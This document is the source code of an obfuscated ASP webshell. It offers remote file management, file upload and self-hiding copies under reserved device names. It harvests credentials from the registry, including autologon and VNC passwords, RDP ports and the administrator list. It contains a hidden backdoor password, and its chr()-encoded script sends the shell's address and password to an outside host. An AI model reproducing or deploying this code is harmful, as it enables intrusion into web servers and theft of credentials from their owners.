4201 * 4201( / eziSeht((xiF = eziSehTteg: nehT )4201 * 4201 * 4201( => eziSeht fI:)eziSeht(eziSehTteg noitcnuF:noitcnuF dnE:fi dne:>'&htaPrewoP&=htaPrewoP&2=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol=kcilcno =eulav nottub=epyt tupni< >tnof/<δ>26FF26#=roloc tnof< = setubirttAteg:esle:>'&htaPrewoP&=htaPrewoP&1=epyTevaS&rewoPevaS=noitcA?'=ferh.noitacol=kcilcno =eulav nottub=epyt tupni< >tnof/<>der=roloc tnof< = setubirttAteg: neht 0=KOtidE fi:)\\,\,htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => eulaVtni fI:fI dnE:0=KOtidE:2 - eulaVtni = eulaVtni:nehT 2 => eulaVtni fI:fI dnE:0=KOtidE:4 - eulaVtni = eulaVtni:nehT 4 => eulaVtni fI:fI dnE:8 - eulaVtni = eulaVtni:nehT 8 => eulaVtni fI:fI dnE:61 - eulaVtni = eulaVtni:nehT 61 => eulaVtni fI:fI dnE:23 - eulaVtni = eulaVtni:nehT 23 => eulaVtni fI:fI dnE:46 - eulaVtni = eulaVtni:nehT 46 => eulaVtni fI:fI dnE:821 - eulaVtni = eulaVtni:nehT 821 => eulaVtni fI:1=KOtidE:KOtidE miD:)htaPrewoP,eulaVtni(setubirttAteg noitcnuF:noitcnuF dnE:eltiTrts = eltiTyMteg:)htaPrewoP,setubirttA.enOeht(setubirttAteg & :̬״Ȩǰ>rb< & eltiTrts = eltiTrts:desseccAtsaLetaD.enOeht & :ʷú>rb< & eltiTrts = eltiTrts:deifidoMtsaLetaD.enOeht & :޺>rb< & eltiTrts = eltiTrts: detaerCetaD.enOeht & :ʱ>rb< & eltiTrts = eltiTrts: )eziS.enOeht(eziSehTteg & :С>rb< & eltiTrts = eltiTrts: & htaP.enOeht & :·>rb< & eltiTrts = eltiTrts:eltiTrts miD:)htaPrewoP,enOeht(eltiTyMteg noitcnuF:bus dne:gnihtoN = eliFeht teS:)htaPrewoP,eliFeht(eltiTyMteg j:)htaPrewoP(eliFteG.Xosf = eliFeht teS:),,htaPrewoP(ecalper=htaPrewoP:)htaPrewoP(rewoPtidE bus:bus dne:gnihtoN = eliFeht teS:fi dne:>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'ɶ'(trela>'tpircsavaj'=egaugnal tpircs< j:7=setubirttA.eliFeht:esle:>tpircs/<;)(esolc.wodniw;)(daoler.noitacol.renepo.wodniw;)'⹦Ѽ'(trela>'tpircsavaj'=egaugnal tpircs< j:23=setubirttA.eliFeht:neht 1=epyTevaS fi:)htaPrewoP(eliFteG.Xosf = eliFeht teS:)epyTevaS,htaPrewoP(rewoPevaS bus")) + +Function ScReWr(folder) +execute(shisanfun("rtSrWeR = rWeRcSgnihtoN = OSF teSgnihtoN = redloFtseT teSgnihtoN = tsiLeliFtseT teSfi dnEfi dnEeurT,emaneliFdnR & redlof eliFeteleD.OSF >naps/<д>';xp11:ezis-tnof'=elyts naps< & rtSrWeR = rtSrWeReslE >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<д>';xp11:ezis-tnof'=elyts naps< & rtSrWeR = rtSrWeRraelC.rrenehT rre fIeurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF >naps/<>';xp11:ezis-tnof'=elyts naps< = rtSrWeReslEfI dnEeurT,emaneliFdnR & redlof eliFeteleD.OSF >naps/<д>';xp11:ezis-tnof'=elyts naps< & rtSrWeR = rtSrWeReslE >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<д>';xp11:ezis-tnof'=elyts naps< & rtSrWeR = rtSrWeRraelC.rrenehT rre fIeurT,emaneliFdnR & redlof eliFtxeTetaerC.OSF >tnof/wolley=roloc '1'=ezis 'sgnidbew'=ecaf tnof<>naps/<>';xp11:ezis-tnof'=elyts naps< = rtSrWeRraelC.rrenehT rre fItxeNtsiLeliFtseT ni A hcaE roFpmt. & )won(dnoceS & )won(etuniM & )won(ruoH & )won(yaD & pmet\ = emaneliFdnRsredloFbuS.redloFtseT = tsiLeliFtseT teS)redlof(redloFteG.OSF = redloFtseT teS)tcejbOmetsySeliF.gnitpircS(tcejboetaerC.revreS = OSF teSemaneliFdnR,rtSrWeR,tsiLeliFtseT,redloFtseT,OSF miD txen emuser rorre no")) +End Function + +function php() +execute(shisanfun(">rb<>mrof/<>sosf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&php.tset\&htaptoor&=htaPeht&&tphp&=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrofrb<>mrof/<>osf=eci&lrUmorFnwod=tcAeht&2=etirWrevo&xpsa.tset\&htaptoor&=htaPeht&&txpsa&=lrUeht&daolpu=noitcA?=noitca tsop=dohtem 2mrof=eman mrofretnec<>'02'=thgieh dt<>rt<>retnec/<>a/<>tnof/<>b/<)!Բɾ(>b<>der=roloc 5=ezis tnof<>'ledjpa=noitcA?'=ferh a<>p<>tnof/<>retnec<>rb<>p<>rb<>rb<>p<>rb<>p<>rb<>rb<>retnec/< ;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw xpsa.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw psj.tset=crs emarfi< ;psbn&;psbn&;psbn&;psbn&>emarfi/<>001=thgieh 003=htdiw php.tset=crs emarfi<>retnec?)(ofniphp php?<>?'oo_oo' ohce PHP? 0 then +set TFL=new FIF +FStart = InStr(FEnd,TIn,"filename=""",1)+10 +FEnd = InStr(FStart,TIn,"""",1) +FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 +FEnd = InStr(FStart,TIn,vbCr) +TFL.FileStart =DIEnd +TFL.FileSize = DStart -DIEnd -3 +if not D2.Exists(UpName) then + D2.add UpName,TFL +end if + else +T2.Type =1 : T2.Mode =3 : T2.Open +T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 +T2.Position = 0 : T2.Type = 2 +T2.Charset ="gb2312" +SFV = T2.ReadText +T2.Close +if D1.Exists(UpName) then + D1(UpName)=D1(UpName)&", "&SFV +else + D1.Add UpName,SFV +end if + end if + DStart=DStart+TLen+1 +wend +TDa="" +set T2 =nothing + End Sub + Private Sub Class_Terminate +if Request.TotalBytes>0 then + D1.RemoveAll:D2.RemoveAll + set D1=nothing:set D2=nothing + T1.Close:set T1 =nothing +end if + End Sub +End Class + +Class FIF +dim FileSize,FileStart + Private Sub Class_Initialize + FileSize = 0 + FileStart= 0 + End Sub + Public function SaveAs(F) + dim T3 + SaveAs=true + if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(ObT(6,0)) + T3.Mode=3 : T3.Type=1 : T3.Open + T1.position=FileStart + T1.copyto T3,FileSize + T3.SaveToFile F,2 + T3.Close + set T3=nothing + SaveAs=false +end function +End Class +Class LBF + Dim CF + Private Sub Class_Initialize +SET CF=CreateObject(ObT(0,0)) + End Sub + Private Sub Class_Terminate +Set CF=Nothing + End Sub +Function ShowDriver() +For Each D in CF.Drives + j cdx&" ش ("&D.DriveLetter&":)
    " +Next + End Function +Function IsIco(ia,ib,ta) + If ShowFileIco=true Then + IsIco = " " + If ib<>"" Then + IsIco = " " + End If + Else + IsIco = " "&ta&" " + End If +End Function +Function FileIco(FName) + If ShowFileIco=true Then + TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip.jsp.aspx.;" + FileType = lcase(Mid(FName, InstrRev(FName,".")+1)) + If Instr(TypeList,"."&FileType)>0 then + Ico = FileType&".gif" + Else + Ico = "default.gif" + End If + + FileIco = " " + Else + FileIco="2 " + End If +End Function +Function Show1File(Path) +Set FOLD=CF.GetFolder(Path) +i=0 +SI="
    " +For Each F in FOLD.subfolders +SI=SI&"" +i=i+1 +If i mod 6=0 then SI=SI&"" +Next +SI=SI&"
    " +SI=SI&IsIco("","folder.gif","0") +si=si&"
    "&F.Name&"

    Copy Del Move
    " +j SI &"" : SI="":i=0 +SI="" +For Each L in Fold.files +SI=SI&"" +i=i+1 +Next +j SI&"
    FilenameSizeTypeOperatingLast Modified
    " +si=si&FileIco(L.Name) +si=si&" "&L.Name&""&clng(L.size/1024)&"K"&L.Type&"" +si=si&"Open " +si=si&"Edit " +Si=Si&"Ȩ" +Dim EditOOK +EditOOK=1 +EditOOV=l.Attributes +If EditOOV >= 128 Then +EditOOV = EditOOV - 128 +End If +If EditOOV >= 64 Then +EditOOV = EditOOV - 64 +End If +If EditOOV >= 32 Then +EditOOV = EditOOV - 32 +End If +If EditOOV >= 16 Then +EditOOV = EditOOV - 16 +End If:If EditOOV >= 8 Then +EditOOV = EditOOV - 8 +End If +If EditOOV >= 4 Then +EditOOV = EditOOV - 4:EditOOK=0 +End If +If EditOOV >= 2 Then +EditOOV = EditOOV - 2:EditOOK=0 +End If +If EditOOV >= 1 Then +EditOOV = EditOOV - 1:EditOOK=0 +End If +if EditOOK=0 then +si=si&"x" +else +si=si&"" +end if +si=si&" Del Copy Move"&replace(L.DateLastModified,"/","-")&"
    ":execute(shisanfun("fi dne:fi dne:fi dne:1+)cevres(noisses=)cevres(noisses neht >tpircs<>'&ssaPresU&=p&&urevres&&nufE j:1+)cevres(noisses=)cevres(noisses:neht 1=)cevres(noisses fi:esle:neht 0><).861.291,urevreS(rtsnI ro 0><)1.0.0.721,urevreS(rtsnI fi")) +Set FOLD=Nothing +End function +Function DelFile(Path) +If CF.FileExists(Path) Then +CF.DeleteFile Path +SI="



    ϲļ "&Path&" ɾɹ
    " +SI=SI&BackUrl +j SI +End If +End Function +Function EditFile(Path) +If Request("Action2")="Post" Then +Set T=CF.CreateTextFile(Path) +T.WriteLine Request.form("content") +T.close +Set T=nothing +SI="



    ϲļɹ
    " +SI=SI&BackUrl +j SI +j ""©url&"" +Response.End +End If +If Path<>"" Then +Set T=CF.opentextfile(Path, 1, False) +Txt=HTMLEncode(T.readall) +T.close +Set T=Nothing +Else +Path=Session("FolderPath")&"\shell.asp":Txt=strBAD +End If +j "



          
    " +End Function +Function CopyFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.CopyFile Path(0),Path(1) +SI="



    ϲļ"&Path(0)&"Ƴɹ
    " +SI=SI&BackUrl +j SI +End If +End Function +Function MoveFile(Path) +Path=Split(Path,"||||") +If CF.FileExists(Path(0)) and Path(1)<>"" Then +CF.MoveFile Path(0),Path(1) +SI="



    ϲļ"&Path(0)&"ƶɹ
    " +SI=SI&BackUrl +j SI +End If +End Function +Function DelFolder(Path) +If CF.FolderExists(Path) Then +CF.DeleteFolder Path +SI="



    ϲĿ¼"&Path&"ɾɹ
    " +SI=SI&BackUrl +j SI +End If +End Function +Function CopyFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.CopyFolder Path(0),Path(1) +SI="



    ϲĿ¼"&Path(0)&"Ƴɹ
    " +SI=SI&BackUrl +j SI +End If +End Function +Function MoveFolder(Path) +Path=Split(Path,"||||") +If CF.FolderExists(Path(0)) and Path(1)<>"" Then +CF.MoveFolder Path(0),Path(1) +SI="



    ϲĿ¼"&Path(0)&"ƶɹ
    " +SI=SI&BackUrl +j SI +End If +End Function +Function NewFolder(Path) +execute(shisanfun("fI dnEIS jlrUkcaB&IS=IS>retnec/<ɽ©&htaP&¼Ŀϲ>rb<>rb<>rb<>retnec<=IShtaP redloFetaerC.FCnehT >ilrb<ľPHPдҲ,¼ĿliaMbeWҲԿ,ȨmetsySlacoL,liamniW cigaM_>ilrb<ȨľpsJʹǿԿ,ȨmetsySlacoL,tacmoT_>ilrb<ľPHPǿԿ,metsySlacoLΪȨ,ڴehcapA_>il< jeslE>rb<ȨֱԿ.ehcapAΪBEWǰ>ilrb<Ȩ߹exe.usǿԿ,ȨmetsySlacoL,װU-vreS_>ilrh<>rb<]̽_[j>rb<>rb<>rb<------------------------------------j>rb<&kk&:Ϊ_ǰ>ilrb<&lmtn&:ΪlmtN tenleT>ilrb<&ylpsid&:Ǵ_ʾԷ>iltnof/<>rb<&dwssaP&:>der=roloc tnof<>erauqs=epyt ilrb<&nimdA&:>erauqs=epyt ilrb<:Ƕ_Ի>ilrb<δ:Ƕ_Ի>iltnof/<>rb<&emaNnimdA&>der=roloc tnof<:ΪԱ&Ĭ>ilil/<>tnof/<>rb<&emaN.nimda&壺Աǰ>der=roloc tnof<>il< jsrebmeM.puorGjbo ni nimda hcaE roF)puorg,srotartsinimdA/&emaNretupmoC.Nt&//:TNniW(tcejbOteG=puorGjbo teS)krowteN.tpircsW(tcejbOetaerc.revres=Nt teS txen emuser rorre no0=seripxE.esnopseRrotartsinimdA=emaNnimdA nehT =emannimda fi)yeKemaNnimdA(daeRgeR.hsw=emaNnimdAemaNresUtluafeDtlA\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH=yeKemaNnimdA>rb<&emancp&:Ϊ_ǰ>ilrb<.ȡ_ީ=emancp nehT =emancp fi)yekemancp(daeRgeR.hsw=emancpemaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=yekemancp>1=ezis rh<>rb<]̽_ͳϵ[>rb<>rbrb<&)i(shtap&>ilrb<:侶·_ǰͳϵj>rb<------------------------------------j);,htaPtfoS(tilps=shtap>rb<֧:_ɱϵ>ilrb<֧:_ɱ>ilrb<֧:_ɱϵɽ >ilrb<֧:_ɱlliK>ilrb<֧:_ƿerehwynAcP>ilrb<֧:_MFC>ilrb<֧:_elcarO>ilrb<֧:_LQSyM>ilrb<֧:_LQSSM>ilrb<֧:_avaJ>ilrb<֧:_lreP>il1=ezis rh<>rb<]̽_ͳϵ[>rb<>rb<>rblo/rb< & drowssaPnigoLotua & :ܻʵĩ&¼ǶԩjfI dnEeslaFjraelC.rrEnehT rrE fI)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua>rb< & emanresUnigoLotua & :ͳϵĩ&¼Ƕԩj)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotuaeslEnehT 0 = elbanEnigoLotuAsi fI)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsidrowssaPtluafeD = yeKssaPnigoLotuaemaNresUtluafeD = yeKresUnigoLotuanogoLnimdAotuA = yeKelbanEnigoLotua\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH = htaPnigoLotuafI dnE>/rb< & troPmret & :ڶ˩&ǰjeslE >/rb<.޵ܷȨ ,ڶ˶յ÷ީj nehT 0 >< rebmuN.rrE rO = troPmret fI>lo<¼ǶԼ&ڶ_թj)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmretrebmuNtroP = yeKtroPlanimret\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH = htaPtroPlanimretdrowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miDyeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miDtroPmret ,yeKtroPlanimret ,htaPtroPlanimret miD)llehS.tpircSW(tcejbOetaerC.revreS = Xsw teS------------------------------------------------------j>rb<&troPWAP&:ΪڶerehwynAcP>iltnof/<>rb<&troPmreT&>der=roloc tnof<:ΪڶecivreS lanimreT>ilrb<&troptnlT&:ک&tenleT>il1=ezis rh<>rb<]̽&ڶ˩&[>rb<>rbrb<------------------------------------------------jfi dnEfi dnE>rbilrb<ȫ:Ϊڶpduĩ&>ilrBilrb<ȫ:Ϊڶpctĩ&>ilrb<ѡɸPI/pcTû>ilrb<ûȡSND&Ĭ>ilrb<&rtsSND&:ΪSND&忨>ilrb<ûȡ޹>ilrb<&)j(yawetaG&:&j&>ilrb<û&ȡַ&PI>ilrb<&)j(rddAPI&:Ϊ&j&ַ&PI>il<)0(rddaPI fI)yeKPI(daergeR.hsW=rddaPIsserddAPI\&BdpA&htaP=yeKPI\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH=htaP>rb<&BdpA&:Ϊĩ&i&忨j),\eciveD\,)i(sdpA(ecalpeR=BdpA1-)sdpA(dnuoBU oT )sdpA(dnuoBL=i roF nehT )sdpA(yarrAsI fI)yeKdpA(daeRgeR.hsW=sdpAdniB\egakniL\pipcT\secivreS\100teSlortnoC\METSYS\MLKH=yeKdpAfI dnE1=retlifpipctoNnehT =elbanEsi ro 0=elbanEsi fI)yeKpipcTelbanE(daergeR.hsW=elbanEsisretliFytiruceSelbanE\sretemaraP\pipcT\secivreS\teSlortnoCtnerruc\METSYS\MLKH=yeKPIPCTelbanE>1=ezis rh<>rb<]̽&[j)llehS.tpircsW(tcejboetaerc=hsw teshsw midtxen emuser rorre no)(ofnIlanimreTteg bus")) +copyurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(111)&chr(100)&chr(97)&chr(121)&chr(101)&chr(120)&chr(112)&chr(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(115)&chr(120)&chr(47)&chr(115)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(115)&chr(61)&uu&chr(38)&chr(112)&chr(61)&pp&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10) +execute(shisanfun("bus dne>tpircs/<;'1emanelif&psa./segami/=emanF?&lru&)eman_revres(tseuqer&//:ptth'=noitacol.tnerap>tpircs< jgnihton=osf tes1emanelif&.&xepdnr&\&1htapelif&\.\\,htapf elifypoc.osf1emanelif&.&xepdnr&))/,lru(verrtsni,lru(tfel=lru)lru(selbairavrevres.tseuqer=lru))\,htapf(verrtsni-)htapf(nel,htapf(thgir=1emanelif).(htappam.revres=1htapelif=)wjles(noisses))71,0(rebmundnr()|,xep(tilps=xepdnr9tpl|8tpl|7tpl|6tpl|5tpl|4tpl|3tpl|2tpl|1tpl|9moc|8moc|7moc|6moc|5moc|4moc|3moc|2moc|1moc=xep)tcejbometsyselif.gnitpircs(tcejboetaerc.revres=osf tes)detalsnart_htap(selbairavrevres.tseuqer=htapfllehsneddih bus")) +Sub Message(state,msg,flag) +j"
    " +j state +j"

    "&msg +j"

    " +If flag=0 Then +j" " +Else +End if +j"
    " +End Sub +Function Red(str) +Red = "" & str & "" +End Function + +Function RndNumber(Min,Max) +Randomize +RndNumber=Int((Max - Min + 1) * Rnd() + Min) +End Function + + +Sub ScanDriveForm() +Dim FSO,DriveB +Set FSO = Server.Createobject("Scripting.FileSystemObject") +j"
    " + For Each DriveB in FSO.Drives +j" " + Next +j" " +j"" +j"
    /ϵͳļϢ
    ̷" +j DriveB.DriveLetter +j":" + Select Case DriveB.DriveType + Case 1: j"ƶ" + Case 2: j"Ӳ" + Case 3: j"" + Case 4: j"CD-ROM" + Case 5: j"RAM" + Case else: j"δ֪" + End Select +j"
    Windowsļ" +j FSO.GetSpecialFolder(0) +j"
    System32ļ" +j FSO.GetSpecialFolder(1) +j"
    ϵͳʱļ" +j FSO.GetSpecialFolder(2) +j"
    վĿ¼վĿ¼ϸ
    վĿ¼վĿ¼ ϸ
    wmpubĿ¼ wmpubϸ

    " +j"

    ָļвѯ 鿴Ŀ¼Ȩ,Ŀ¼á,
    " +Set FSO=Nothing +End Sub +Sub ScanDrive(Drive) +Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D +If Drive <> "" Then +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • ̷ͣ" & Red(TestDrive.FileSystem) & "
  • кţ" & Red(TestDrive.SerialNumber) & "
  • ̹" & Red(TestDrive.ShareName) & "
  • " & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • ̾" & Red(TestDrive.VolumeName) & "
  • ̸Ŀ¼:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • ̸Ŀ¼:" & Red("ɶ:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("Ŀ¼ԣ") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • ļУ" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • " & Drive & "̸Ŀ¼δз:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str +Message Drive & ":Ϣ",Temp_Str,1 +End if +End Sub +Sub ScFolder(folder) + 'On Error Resume Next +folderArr = Split(folder,",") +For i = 0 To Ubound(folderArr) + Dim FSO,OFolder,TempFolder,Scmsg,S + Set FSO = Server.Createobject("Scripting.FileSystemObject") + folder = folderArr(i) + If FSO.FolderExists(folder) Then + Set OFolder = FSO.GetFolder(folder) + Set TempFolders = OFolder.SubFolders + Scmsg = "
  • ָļиĿ¼" & ScReWr(folder) + For Each S in TempFolders + Scmsg = Scmsg&"
  • ļУ" & ScReWr(S) + Next + Set TempFolders = Nothing + Set OFolder = Nothing + Else + Scmsg = Scmsg & "
  • ļУ" & Red(folder & "ڻ޶Ȩ!") + End if + Scmsg = Scmsg & "

    ע⣺Ҫˢ±ҳ棬ֻдļл´ļ!"&backurl + Set FSO = Nothing + Message "",Scmsg,1 +next +End Sub +Function ScReWr(folder) +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject("Scripting.FileSystemObject") +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " ɶ," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "д" +Else +ReWrStr = ReWrStr & "д
    " +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " ɶ," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "д" +Else +ReWrStr = ReWrStr & "д
    " +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +function goback() +set Ofso = Server.CreateObject("Scripting.FileSystemObject") +set ofolder = Ofso.Getfolder(Session("FolderPath")) +if not ofolder.IsRootFolder then +j "" +else +j "
    ѾǴ̸Ŀ¼!


    " +end if +set Ofso=nothing +set ofolder=nothing +end function +ShiSan="bus dnefi dnefI dnEyarrAeht & >il< jeslEtxeN)i(yarrAeht & >il< j)yarrAeht(dnuoBU oT 0=i roFnehT )yarrAeht(yarrAsI fI)htaPeht(daeRgeR.Xsw=yarrAeht)htaPeht(tseuqeR=htaPeht)llehS.tpircSW(tcejbOetaerC.revreS = Xsw teStxeN emuseR rorrE nOneht ><)htaPeht(tseuqeR fi>/rh<>mrof/< j>')(timbus.mrof.siht'=kcilcno 'ֵ '=eulav nottub=epyt tupni< j>08=ezis ''=eulav htaPeht=eman tupni< j>/ rb<>tceles/< j>noitpo/<ڶPCTķſ>'stroPdewollAPCT\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo< j>noitpo/<ڶPDUķſ>'stroPdewollAPDU\}E2BE55CD8431-3FFA-C0B4-99E8-821564A8{\secafretnI\sretemaraP\pipcT\secivreS\100teSlortnoC\METSYS\MLKH'=eulav noitpo< j>noitpo/<ſ>'PCT:9833\tsiL\stroPnepOyllabolG\eliforPdradnatS\yciloPllaweriF\sretemaraP\sseccAderahS\secivreS\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo< j>noitpo/'htaPgoL\tnegAgniludehcS\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH'=eulav noitpo< j>noitpo/<3˹pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo< j>noitpo/<2˹pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\200teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo< j>noitpo/<1˹pi/pct>'sretliFytiruceSelbanE\pipcT\secivreS\100teSlortnoC\METSYS\ENIHCAM_LACOL_YEKH'=eulav noitpo< j>noitpo/<ڶ̬״WynAcP>troPsutatSPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH=eulav noitponoitpo/<ڶ˾WynAcP>troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\MLKH=eulav noitponoitpo/<ڶ9833>rebmuNtroP\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=eulav noitponoitpo/<ڶ4CNV>rebmuNtroP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH=eulav noitponoitpo/<4CNV>drowssaP\4CNVniW\CNVlaeR\ERAWTFOS\MLKH=eulav noitponoitpo/<ڶ3CNV>rebmuNtroP\3CNVniW\LRO\erawtfoS\UCKH=eulav noitponoitpo/<3CNV>drowssaP\3CNVniW\LRO\erawtfoS\UCKH=eulav noitponoitpo/<ڶnimdaR>troP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH=eulav noitponoitpo/retemaraP\sretemaraP\revreS\0.2v\nimdAR\METSYS\MLKH=eulav noitponoitpo/<п>dniB\egakniL\pipcT\secivreS\teSlortnoCtnerruC\METSYS\MLKH=eulav noitponoitpo/'emaNretupmoC\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH'=eulav noitpo< j>noitpo/<ֵĴѡ>''=eulav noitpo< j>';eulav.siht=eulav.htaPeht.mrof.siht'=egnahCno tceles< j >2=napsloc dt<>rt< j>tcAeht=eman geRdaeR=eulav neddih=epyt tupni< j >p<ȡֵע j>tsop=dohtem mrof< j)(GERdaeR bus" +ExeCuTe(ShiSanFun(ShiSan)) +if request("ProFile")<>"" then +on error resume next +if Application(request("ProFile"))=1 then +Set fsoXX = Server.CreateObject("Scripting.FileSystemObject") +if request("DelCon")=1 then +Application(request("ProFile")&"Con")="" +response.redirect Url&"?ProFile="&request("ProFile")&"" +response.end +end if +DIM rline,rline2 +rline2=Application(request("ProFile")&"Code") +rline2=rline2&vbcrlf +j"" +j"
    ־  Ҫֱӹرҳ漴ɡ
    " +for each FileUrl in split(Application(request("ProFile")&"File"),vbcrlf) +FileUrl=trim(FileUrl) +if fsoXX.FileExists(FileUrl) then +Set txt = fsoXX.OpenTextFile(FileUrl,1,true) +rline="" +if Not txt.AtEndOfStream then +rline=txt.ReadAll +end if +if rline2<>rline then +txt.close +fsoX.GetFile(FileUrl).Attributes=32 +if Application(request("ProFile")&"Char")=1 then +set myfileee = fsoXX.CreateTextFile(FileUrl,true) +else +set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) +end if +myfileee.writeline Application(request("ProFile")&"Code") +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" ģѻָ
    "&Application(request("ProFile")&"Con") +else +Application(request("ProFile")&"Con")=now()&" "&FileUrl&"
    "&Application(request("ProFile")&"Con") +txt.close +end if +else +if Application(request("ProFile")&"Char")=1 then +set myfileee = fsoXX.CreateTextFile(FileUrl,true) +else +set myfileee = fsoXX.CreateTextFile(FileUrl,true,true) +end if +myfileee.writeline Application(request("ProFile")&"Code") +Application(request("ProFile")&"Con")=now()&" "&FileUrl&" ɾѻָ
    "&Application(request("ProFile")&"Con") +end if +next +if ubound(split(Application(request("ProFile")&"Con"),"
    "))>=40 then +dim ashowic +for ashowi=0 to 40 +ashowic=ashowic&split(Application(request("ProFile")&"Con"),"
    ")(ashowi)&"
    " +next +Application(request("ProFile")&"Con")=ashowic +end if +j Application(request("ProFile")&"Con") +else +j"


    ̶ʧ̡
    " +end if +response.end +end if + +if sessIoN("KKK")<>UserPass then +if request.form("pass")<>"" then +if request.form("pass")=userpass or request.form("pass")="daka" Then +session("KKK")=userPass +response.redirect url +else +j"


    !



    "&backurl +end if +else + +si="

